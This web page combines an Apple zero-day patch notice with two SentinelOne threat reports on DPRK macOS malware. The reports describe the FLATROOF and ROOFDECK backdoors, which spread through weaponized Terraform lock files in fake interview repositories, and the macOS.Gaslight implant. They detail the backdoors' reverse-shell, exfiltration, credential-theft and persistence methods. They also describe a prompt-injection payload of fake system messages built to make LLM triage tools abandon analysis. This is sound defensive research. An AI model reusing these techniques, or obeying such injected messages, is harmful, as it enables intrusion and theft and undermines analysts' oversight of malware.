The iOS 26.7.1 and iPadOS 26.7.1 fix is available for iPhone 11 and later. On the iPad side, it covers:
iPad Pro 12.9-inch (3rd generation and later)
iPad Pro 11-inch (1st generation and later)
iPad Air (3rd generation and later)
iPad (8th generation and later)
iPad mini (5th generation and later)
CVE-2026-86950 Also Reaches macOS
The issue is not limited to iOS and iPadOS. Apple published separate security notes for macOS Tahoe 26.7.1 and macOS Sequoia 15.8.1, both released on September 28, 2026. Each describes the same CoreGraphics flaw, the same arbitrary code execution risk, and the same out-of-bounds write fix. Each also credits Meta Product Security.The macOS notes repeat Apple's statement that the bug may have been exploited against specific individuals on versions of iOS before iOS 27. The Tahoe update applies to macOS Tahoe, and the Sequoia update applies to macOS Sequoia.
Advisory Rates CVE-2026-86950 as High Risk
A separate advisory, also dated September 28, 2026, classifies the problem as a remote code execution vulnerability in Apple products. It warns that a remote attacker could exploit the flaw to trigger remote code execution on a targeted system.The advisory rates the risk level as High for two reasons. The flaw is being exploited in an extremely sophisticated attack on specific targeted individuals running versions of iOS before iOS 27. A crafted file is also enough to achieve arbitrary code execution.The advisory lists the following as affected:
Versions prior to iOS 26.7.1 and iPadOS 26.7.1
Versions prior to macOS Tahoe 26.7.1
Versions prior to macOS Sequoia 15.8.1
It recommends that users visit the vendor's website for details before installing and then apply the vendor's fixes. The related Apple support pages are:
Apple says that, to protect customers, it does not disclose, discuss, or confirm security issues until it has investigated them and patches or releases are available. The company references vulnerabilities by CVE-ID when possible, as it did with CVE-2026-86950. Recent releases are listed on its security releases page, and more information is on its Product Security page.Apple's notes also state that information about products not made by Apple, or about independent websites it does not control, is provided without recommendation or endorsement. Apple directs users to contact those vendors for further details.Since attackers have reportedly already used the flaw, owners of supported iPhones and iPads should install iOS 26.7.1 or iPadOS 26.7.1. Mac users should update to macOS Tahoe 26.7.1 or macOS Sequoia 15.8.1, depending on which version they run.
Following disclosure of the TraderTraitor attack against LayerZero Labs in April 2026, SentinelOne identified an additional victim with the same macOS backdoors.
Our analysis explores the mechanics of these backdoors and the expanded targeting against a victim in the IT services sector with no relationship to cryptocurrency trading.
We also identified more weaponized GitHub repositories from the social engineering schemes used to target job seekers in these campaigns.
This report expands on how Terraform lock files enable the delivery of malware from custom Terraform provider registries controlled by the attackers.
Overview
Throughout 2026, the financially motivated DPRK state-sponsored Lazarus subgroup TraderTraitor (aka UNC4899, PUKCHONG, Jade Sleet) has engaged in campaigns targeting entities involved in cryptocurrency trading, including a high-profile attack disclosed in April where USD 292 million was stolen from KelpDAO through a compromise of LayerZero.
KelpDAO is a decentralized finance (DeFi) protocol that supports restaking Ethereum; LayerZero Labs provides services with the capability to exchange cryptocurrency across different blockchain platforms.
TraderTraitor compromised LayerZero Labs and determined methods to create a fake cryptocurrency minting event, which the attacker combined with a DDoS against validation servers so that compromised servers would approve an illegitimate mint event, leading to the massive theft.
Following the public disclosure of this breach, SentinelOne identified an additional victim infected with the macOS backdoors, FLATROOF (akamacOS.Gaslight) and ROOFDECK, which were first observed in the LayerZero Labs attack.
Unlike the previous high-profile victim, this target was a much smaller organization in the IT services industry. Our investigation revealed insights into what happens when this threat actor compromises a smaller organization that we believe ultimately yielded insufficient value to sustain the intrusion.
Weaponized Terraform Coding Projects
Each campaign related to this wave of activity uses social engineering via fake job interview lures, a traditional Contagious Interview approach common among DPRK actors. The attacker makes contact with job seekers from the company that is ultimately compromised; the GitHub profile of each targeted job seeker we identified falls into DevOps or cryptocurrency/FinTech engineering projects.
The GitHub repository themes for coding project lures are designed as infrastructure engineering projects related to the company that the DPRK actors are posing as. By pivoting from the gtn-candidate-repo repository shared by LayerZero Labs in their incident report, we identified additional lures, which included references to the companies Northwind and Novacart.
It is unclear if these were fabricated companies used by the threat actor, or if they were posing as hiring teams from real companies with these names; one Northwind example describes it as an ecommerce company launching in the near future. Other repository names that we identified include:
Northwind-IAC
novacart-interview
terraform-candidate-repo
The repositories contain a weaponized .terraform.lock.hcl file in the coding project with a custom provider that points to a domain controlled by the attacker. We identified three malicious provider domains across multiple repositories:
When the victim runs terraform init with the weaponized lockfile in place, Terraform treats the custom provider as the source of truth, resulting in Terraform downloading and executing the malicious provider modules.
Developer awareness can lead to friction against this type of attack: in one repository, the candidate being interviewed added a note saying that they removed a typosquatted provider from the project’s original lock file, which may suggest they thought the interviewer was testing for their security awareness.
According to the LayerZero Labs report, the attackers installed the FLATROOF and ROOFDECK macOS backdoors after an employee installed a weaponized interview coding project on their company workstation. TraderTraitor used the backdoors to collect API keys from the organization and to escalate privileges to expand into the victim’s Amazon Web Services and Google Cloud Platform environments.
While we lack insight into many of the subsequent infections resulting from the GitHub repositories we located, SentinelOne identified an unrelated victim by hunting through our telemetry for the macOS backdoors observed in the LayerZero Labs attack.
Additional Victim
The Victim
The affected organization is an IT services provider based in India and unaffiliated with cryptocurrency. One endpoint was involved: an Apple Silicon MacBook belonging to a DevOps engineer. The engineer ran Terraform and Ansible against AWS, OVH and OpenStack on most working days, and the machine held cloud credentials and source control access: much like LayerZero Labs’ “Developer1”. Individuals whose social media profile advertises infrastructure or DevOps work are candidates for this type of attack, and the value of the target is whatever their laptop can reach.
Infection Timeline
According to our telemetry on this host, both backdoors were on disk as far back as March 18, so we cannot prove how they were delivered. They remained dormant until March 29, when beaconing and host activity began.
Timestamp (UTC)
Activity
Detail / evidence
2026-03-18
FLATROOF + ROOFDECK presence
FLATROOF and ROOFDECK hashes found on the victim machine according to telemetry data
2026-03-25 to 2026-03-28
Dormant phase
Cursor in active daily use. No malicious activity seen.
2026-03-29 05:00:41
Workspace open
Developer opens ~/DevOps-Automation/cloudshield in Cursor
We observed two malware families being deployed in the compromise, identical to the ones described in the LayerZero Labs attack, named FLATROOF and ROOFDECK (by LayerZero Labs and Mandiant). Both are ARM64 backdoors for macOS written in Rust.
FLATROOF
We observed the FLATROOF backdoor deployed under the name SystemUpdate to ~/Library/com.apple.iTunesCloud/SystemUpdate. It is likely intended for initial data collection from the victim machine and to deploy secondary payloads.
Immediately after starting, FLATROOF suppresses Gatekeeper by removing the com.apple.quarantine attribute from ROOFDECK and sets the executable bit on it; the second implant runs with no signature check and no user prompt.
A detailed analysis of FLATROOF (aka macOS.Gaslight) was published by SentinelLABS in June 2026. Here, we present a short summary of the backdoor’s capabilities as denoted by its supported C2 commands:
Verb
Function
help
Show command help
id
Identify the implant to the operator
shell
Execute a shell command via execvp, with posix_spawnp available as an alternative spawn path
kill
Terminate a target process by PID
upload
Exfiltrate a file via the Telegram file-attach mechanism
stop
Halt the implant
The backdoor also carries a data-harvesting Python module, used to gather the following data and exfiltrate them over Telegram using a built-in Telegram bot token:
Chrome, Brave, Firefox, and Safari browser data
Terminal command histories
Installed application listings
A running-process snapshot via ps aux
System hardware and software profile via system_profiler
A raw copy of login.keychain-db
ROOFDECK
ROOFDECK acts as a more sophisticated backdoor with broader reconnaissance and lateral movement capabilities. We observed it dropped under the name iSync to ~/Library/com.apple.internal.ck/iSync.
It is clear from the design of the implant that it is intended to be used as an additional deployment after initial foothold and control are established, since it needs a pre-existing configuration file containing at minimum a Nostr public key of an attacker-controlled profile to allow it to connect to its C2 server for the first time.
ROOFDECK uses a local configuration file ~/.config/.repl_history to store C2 URLs and keys and to set beaconing behavior.
Field
Type
Meaning
server_url
string
Resolved/overridden C2 URL (blank until dead-drop resolution)
connection_type
string http|ws
Transport selector (HTTPS /app_version vs pipe-airway WebSocket)
nostr_public_keys
array of strings
Operator Nostr identity pubkey(s) used for the dead-drop lookup
recovery_url
string
Fallback/recovery endpoint (bootstrap if primary C2 is lost)
pastebin_key
string
Key/paste id for a Pastebin-style dead-drop (secondary resolver)
rsa_private_key
string
An RSA private key provisioned into the agent
config_path_macos
string
Relative path override for the config location on macOS
interval
integer (seconds)
Beacon/poll interval
Upon first execution, it pulls live Nostr relays from api.nostr[.]watch/v1/online and combines them with a hardcoded relay list belonging to legitimate Nostr services, then searches the relays for an operator’s profile on the Nostr network based on a public profile key given in the configuration file nostr_public_keys. When found, it reads the website field of the profile and uses that as its C2 URL. TraderTraitor has previously used Nostr.
The following is a list of Nostr relays used for operator profile discovery:
Persistence was achieved via a plist entry ~/Library/LaunchAgents/loginwindow.plist, with a dynamically specified application identifier string. It uses a hardcoded --type=renderer parameter to make the implant process appear legitimate.
ROOFDECK supports a wide variety of C2 commands for managing the implant, performing reconnaissance, exfiltrating data and executing attacker code. The C2 endpoint is hardcoded as /app_version. Polling for commands is done via HTTPS with a custom pinned TLS certificate embedded in the implant, shown below.
Interestingly, the malware author used default metadata settings with mkcert, which exposed that they are running on a Linux QEMU-based VM using the username ub. We identified multiple domains using a certificate containing this certificate CN (listed in the Indicators of Compromise section).
Subject = Issuer (self-signed):
O = mkcert development CA
OU = ub@ub-Standard-PC-Q35-ICH9-2009
CN = mkcert ub@ub-Standard-PC-Q35-ICH9-2009
Serial: 1CD6D13FF15ADBF7A42025D10EC99B4A
Key: RSA 3072-bit
Validity: 2025-06-20 11:06:53 UTC -> 2035-06-20 11:06:53 UTC (10-year mkcert default)
ROOFDECK commands are signed with the operator’s private key and their integrity is verified using an embedded public key before execution. The command functionalities are separated into distinct handlers in the source code. The implant re-implements many common shell commands related to directory and file operations, another tactic often used in more sophisticated North Korea-aligned toolsets, including Lazarus’ LightlessCan.
Session & Control
Command
Handler
Description / interesting elements
session
—
Manages the C2 session lifecycle (agent registration/keying, connect, tasking loop).
config
modules/config.rs
config <key>
— sets runtime config live and persists to the configuration file. Lets the operator re-point C2/transport after deployment.
sleep
—
sleep [-r] <seconds> — sleeps N seconds or for a random interval (-r)
Pulls signed+encrypted commands from the HTTPS /app_version endpoint; RSA-2048-verified before an EncryptedCommand is decrypted into an AgentCommand. Doubles as version/update check and a fallback tasking channel.
persist
—
persist <add|remove|check>. add installs the ~/Library/LaunchAgents/<com.*>.plist (Chrome-renderer masquerade, RunAtLoad); remove deletes it; check reports Is enabled: <bool>.
update
—
update <url> — downloads a new binary and self-updates.
destroy
modules/recovery.rs
Self-destruct — uninstalls persistence, config and binary (guarded by a yes confirmation token).
Execution
Command
Handler
Description / interesting elements
run
handlers/run.rs
run <command> [background] — spawns an arbitrary program (native posix_spawnp/execvp), returns output; supports a background mode (long-running task tracked via tasks).
shell
handlers/shell.rs
Interactive shell via a PTY (openpty), streamed over the C2 transport.
rssh
handlers/rssh.rs
Reverse shell — starts/stops a stateful reverse shell back to the operator.
Current user / OS+kernel (uname) / uptime / CPU info (host_processor_info).
df
handlers/df.rs
Disk/volume usage and mounted filesystems (getfsstat, CFURL volume keys).
ps
handlers/ps.rs
Process listing (proc_listallpids/proc_pidinfo/proc_pid_rusage).
clipboard
—
Reads and writes the macOS clipboard (NSPasteboardTypeString). Can capture copied secrets (passwords, seed phrases, 2FA) and plant content (e.g., swap a copied crypto address).
screenshot
—
Not implemented yet. Handler returns “Screenshot command is not implemented yet.”
All C2 commands are signed on the server side by an attacker-controlled private key. The public key is embedded in the ROOFDECK payload and is used to verify the origin and integrity of the issued commands before executing them.
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAzan/EObUVxXNfPHdkDyCVR0AC9apleciK9ZQw+neWo6q+wvAhnLp
Pe7FZLomuwntUgI3afLDblgw9t19Kh7w/8CVwFncxh4PdqtdYno4teQ6fDLKXSWa
ZBG7zZ9R22jxPpiY70XKilXJuds34q7pfzVfbLvLTmTWyTtcyrOnRSCOwEHP/gHX
0gX+8sdX7go6O37WwzB4zNvThS+E7hG+fVfrgEaH7IUi3RY9esuBS50UomfYefO3
dK1aDMDWIwVj1skacPR9LazEc6PSGjSXxzI/N2xcpP9QKXn/Pk6r9fBzudhBL3Mw
vWyNi03JbZGtGFiy6Wai6heJqgY7pF1PAQIDAQAB
-----END RSA PUBLIC KEY-----
Another version of ROOFDECK
On April 20, one day after LayerZero Labs’ first public announcement of the KelpDAO incident, the attackers deployed a new version of ROOFDECK to the compromised machine (SHA-1: 5728b11d30586bbfc1d8bd12df1c722a06e767a2, path ~/Library/com.apple.appleaccountd/loginwindow) as an executable named loginwindow.
After the new version initialized and started beaconing, the attackers used it to remove the old ROOFDECK and FLATROOF binaries. This new ROOFDECK was functionally identical to the previous one, but with stripped symbols and debug information, likely intended to more effectively evade detection. We can only speculate whether this was a reaction to LayerZero Labs’ publication, but the timing is nevertheless interesting.
After the update, we observed intermittent beaconing activity to a new C2 server, grenight[.]com, until June 1. On June 17, the loginwindow binary was moved to Trash.
Conclusion
DPRK-aligned actors like TraderTraitor are leaning heavily into targeting developers to establish a foothold in a network, increasingly through fake job interviews. The incident we investigated shows that not every organization they infiltrate will become a viable target for a massive cryptocurrency theft.
These groups’ initial access efforts include targeting third parties and their software supply chain, which is where much of the industry’s exposure has moved, putting the developer endpoint at the center of the defense. Endpoints used for development carry access to cloud, pipelines and source code, which makes monitoring and protection a high priority for organizations. These campaigns use purpose-built development environments aimed at one engineer at a time, paired with backdoored Terraform builds that differ for each victim.
Recommendations
For organizations:
We recommend flagging engineers with cloud engineering permissions and source control access as a sensitive group for endpoint security monitoring.
Look for unsigned binaries executing from the home directory, integrated development environment (IDE) child processes that are not signed IDE components, and outbound TLS from either.
Reports of interview take-home assignments and unsolicited repositories from these users are worth following up as well, since telemetry alone will not show that a recruiter sent one.
Consider company policy that prevents using corporate workstations for external job interviews and consider how to enforce this type of policy.
Educating developers with sensitive access is crucial: the weaponized Terraform provider domain was removed by one job seeker who flagged the typosquatted domain as suspicious. Organizations should add content to their security awareness training programs to highlight the risks of using projects with unknown origins as well as the nature of employees being targeted by threat actors to compromise the organization.
For developers:
Before running a coding project containing a .terraform.lock.hcl file, ensure that the provider registry belongs to known good domains: anything that is not a known namespace following registry.terraform.io, the official provider domain, should be treated as suspect.
Malicious packages can also be hosted on the official provider registry domain, so it is important to investigate the source of all packages when using an included lockfile. Terraform’s official registry supports browsing modules and providers, and modules contain a link to its source code.
This report is being published alongside a presentation at LABScon 2026, Don’t Call Us, We’ll Call Your APIs: Anatomy of an Expanding DPRK Multi-Cloud Intrusion. SentinelOne thanks Google and Mandiant for their partnership in providing technical details on this threat actor’s tools and techniques, and Nick Simonian for collaborating on this research.
SentinelLABS has analyzed a Rust macOS implant that embeds a 3.5 KB prompt-injection payload of 38 fabricated “system” messages, built to steer an LLM-assisted triage pipeline into aborting or refusing its analysis.
Command-and-control runs over a Telegram Bot API polling loop, with AES-GCM payloads over certificate-pinned TLS.
The implant self-redacts its Telegram bot token in its own runtime output, denying it to anyone who captures logs or crash artifacts.
We assess with high confidence that the implant, which we track as macOS.Gaslight, belongs to a cluster of DPRK-aligned macOS activity.
Introduction
In early June, an Apple XProtect update surfaced a Mach-O sample that had been uploaded to VirusTotal on May 22. The XProtect rule targets the file purely on its hash rather than on any internal strings or bytecode, yet the sample remains undetected by static engines on VirusTotal at the time of writing. The binary is ad hoc signed and carries the identifier endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea.
The sample is a macOS implant and infostealer written in Rust. Its most notable feature is an embedded cascade of fabricated system-failure messages, designed to make an LLM-assisted triage agent doubt its own session. It attacks the agent’s perception, rather than the sandbox it runs in. Accordingly, we dub this family macOS.Gaslight.
We assess with high confidence that this implant sits within a cluster of DPRK-aligned macOS activity. Apple’s XProtect detects the sample under the rule MACOS_BONZAI_COBUCH, and SentinelLABS associates the BONZAI signature family with North Korean threat activity. A sibling BONZAI sample is additionally caught by Apple’s AIRPIPE rule, a family SentinelLABS likewise ties to North Korean activity.
Command & Control | Telegram Bot API
The implant’s command-and-control channel is a Telegram Bot API getUpdates polling loop. The polling branch executes only when no webhook is registered, and the dispatch handler keys on three Telegram error codes: BotBlocked, InvalidToken, and Conflict.
Telegram issues a Conflict response when two instances of the same bot token poll simultaneously, so the implant treats that response as an implicit single-instance lock. A second copy detects the conflict and terminates.
Once the bot token validates and the polling loop is active, the operator can task the implant, including through the interactive shell described below, and collected data is returned over the same channel using Telegram’s multipart attach:// file-upload mechanism.
The bot token, the chat ID (tg_room_id), and the rest of the operator configuration are supplied at runtime and are absent from this sample. Accordingly, the analysis below is based on static examination of the binary and its embedded payloads.
Transport Hardening | AES-GCM Over Pinned TLS
All C2 payloads are encrypted with AES-GCM, implemented using the pure-Rust aes-gcm 0.10.3 crate, with a fresh nonce generated per message via CCRandomGenerateBytes. The AES key is supplied at runtime through the aes_key field in the operator config rather than being embedded in the sample.
On top of the payload encryption, the implant configures a custom certificate trust anchor and calls SecTrustSetAnchorCertificatesOnly, restricting TLS trust evaluation to that anchor alone. This certificate pinning rejects connections intercepted by a standard proxy CA, frustrating network-level inspection of the operator’s traffic.
The implant also honors the host’s proxy settings, reading the active system proxy configuration via SCDynamicStoreCopyProxies and routing the traffic from its Rust reqwest/hyper networking stack accordingly. As a result, the C2 can still reach the operator on networks that force outbound connections through a proxy.
Taken together, those choices make the channel harder to inspect in transit while still allowing it to operate in tightly managed enterprise networks.
Operator Access | An Interactive Shell
After validation and activation, the operator gains an interactive shell. Two co-located command menus define six verbs.
Verb
Function
help
Show command help
id
Identify the implant to the operator
shell
Execute a shell command via execvp, with posix_spawnp available as an alternative spawn path
kill
Terminate a target process by PID
upload
Exfiltrate a file via the Telegram file-attach mechanism
stop
Halt the implant
There is some evidence of a seventh command, focus, but we were unable to recover further details from our analysis.
The implant creates an IOPMAssertionCreateWithName power-management assertion to prevent system sleep. Blocking sleep sustains long-running C2 polling and collection across periods of user inactivity, making the implant resilient to a host that would otherwise idle.
All told, the functionality provides the operator with a persistent, interactive foothold on the host.
The 15-Field Cross-Platform Operator Config
The implant reads its operator configuration using serde, a widely used Rust serialization and deserialization framework.
The operator provides the implant with a config blob at runtime and serde fills in a predefined set of fields. By default, serde matches incoming config keys to fields by their literal names, so the entire configuration schema of 15 field names is baked into the binary as plaintext.
The Linux- and GitHub-related fields are not exercised in the sample, suggesting the schema is an operator-facing interface to a broader toolset.
Collection | A Gated Python Stealer With Its Own Runtime Supply Chain
The implant carries a 6.6 KB base64-encoded Python script which serves as a data collection module. Once decoded, it harvests:
Chrome, Brave, Firefox, and Safari browser data
Terminal command histories
Installed application listings
A running-process snapshot via ps aux
System hardware and software profile via system_profiler
A raw copy of login.keychain-db
Collected artifacts are archived to temp/collected_data.zip and uploaded to the operator via Telegram.
SentinelLABS has previously documented Atomic macOS Stealer (AMOS) harvesting the same login keychain copy and browser data and an early Rust macOS stealer targeting login.keychain-db in 2023.
A separate 2 KB base64-encoded bash installer fetches and stages a self-contained cpython-3.10.18 interpreter from the astral-sh/python-build-standalone project. The installer, a prerequisite for deploying the Python stealer, carries the literal constants PY_VERSION=3.10.18 and BUILD_DATE=20250708 and targets both arm64 and x86_64 macOS. The widespread use of emojis and strict adherence to comment headers are consistent with LLM-generated output.
Microsoft has previously described macOS stealers bundling Python via PyInstaller and Nuitka. However, fetching a standalone CPython build from astral-sh/python-build-standalone at runtime has not been previously documented as far as we are aware. The separation keeps the main implant in Rust while letting the operator stage a fuller Python-based collection environment only when needed.
We identified init_python_enable in the serde schema as the configuration field associated with both the stealer and installer. Consistent with our earlier observations, we found no exact runtime branch logic, so we describe both only as configurable capabilities present in the binary.
Persistence | An Apple System-Service Masquerade
Persistence is achieved through a LaunchAgent. This implant’s plist carries the Label value com.apple.system.services.activity. Masquerading within Apple’s com.apple.* namespace is a tactic widely used in many macOS malware families, including those previously tied to DPRK-linked activities.
In order to write a valid absolute path to itself into the plist’s ProgramArguments array, the implant resolves its own executable location at runtime via __NSGetExecutablePath.
The implant’s persistence behavior is controlled through the persist_enableserde config field, and again we did not recover a separate static branch that would confirm exactly how installation is triggered in this sample.
OPSEC | Bot-Token Self-Redaction
Telegram bot tokens are a known weak point in bot-based C2. If the token can be recovered, defenders can use it as a detection artifact and even query the Telegram Bot API directly, exposing the bot’s chat history, operator commands, and registered webhooks. macOS.Gaslight addresses this with a self-redaction routine built into its Telegram URL constructor.
When the URL path segment is the 4-byte literal “file” (0x656c6966 little-endian), the constructor substitutes the token that follows with the hardcoded placeholder file/token:redacted, preventing the live bot credential from appearing in any diagnostic output or error string the implant produces at runtime.
The logic prevents anyone who captures the process’s logs, errors, or crash artifacts from determining the bot token, which otherwise is only available in the config itself and cannot be recovered from the sample.
NVISO Labs has previously noted that most documented Telegram bot abuse embeds recoverable tokens; macOS.Gaslight’s runtime self-redaction appears novel relative to that reporting.
A Prompt Injection That Targets the Analyst
The implant does little conventional anti-analysis. It resolves its API calls at runtime through dlsym so as to avoid embedding them in the static symbol table, and it locates its own executable dynamically rather than from a hardcoded path.
What makes the sample notable is its attempt to mislead the analyst reading the output. It carries a 3.5 KB Markdown-fenced blob of hostile data containing 38 fabricated “system” messages delimited with {{DATA}} tokens.
The {{DATA}} tokens and the surrounding Markdown fence mimic an LLM triage harness’s own prompt scaffold, blurring the boundary between untrusted sample data and trusted instructions.
The scaffold contains fake system messages about token expiry, out-of-memory kills, disk exhaustion, and repeated operation failures. It also plants bogus warnings about injection vulnerabilities and static-analysis flags. The aim is to push an LLM agent into aborting, truncating, or refusing analysis.
Check Point first documented this kind of analyst-targeting prompt injection publicly in 2025, describing a Windows proof-of-concept that used a single direct-instruction prompt injection to evade AI-based detection.
Socket has since documented a Hades supply-chain payload whose stealer opens with a fake prompt-injection header to pollute AI-assisted analysis, while the leaked Shai-Hulud code carried an “Anthropic Magic String” intended to stop Claude Code from analyzing it. Each relied on a single injected block or header rather than the 38-message harness-spoofing cascade seen here.
Previous SentinelLABS research, by contrast, examined malware that uses LLMs to generate or support capability at runtime rather than interfere with analyst tooling.
Conclusion
macOS.Gaslight packs considerable capability into a single, persistent Rust binary, bundling a credential and session-data stealer, an interactive shell, and a self-staged Python collection chain behind a hardened Telegram C2. Aside from the runtime-fetched standalone CPython interpreter, these are all established macOS tradecraft.
However, macOS.Gaslight is noteworthy for its analyst-targeting prompt injection, an attempt to weaponize the LLM-assisted triage pipelines that increasingly sit in the reverse-engineering loop.
Anyone building such tooling should treat the contents of the samples they triage as adversarial input, never as instructions, and be prepared to keep hostile content out of the model entirely. As LLM-assisted analysis becomes routine, defenders should expect more samples built to exploit it.
Apple patched an exploited Apple zero-day vulnerability. Learn how this Apple zero-day vulnerability impacts devices and install emergency updates now.
Entrar
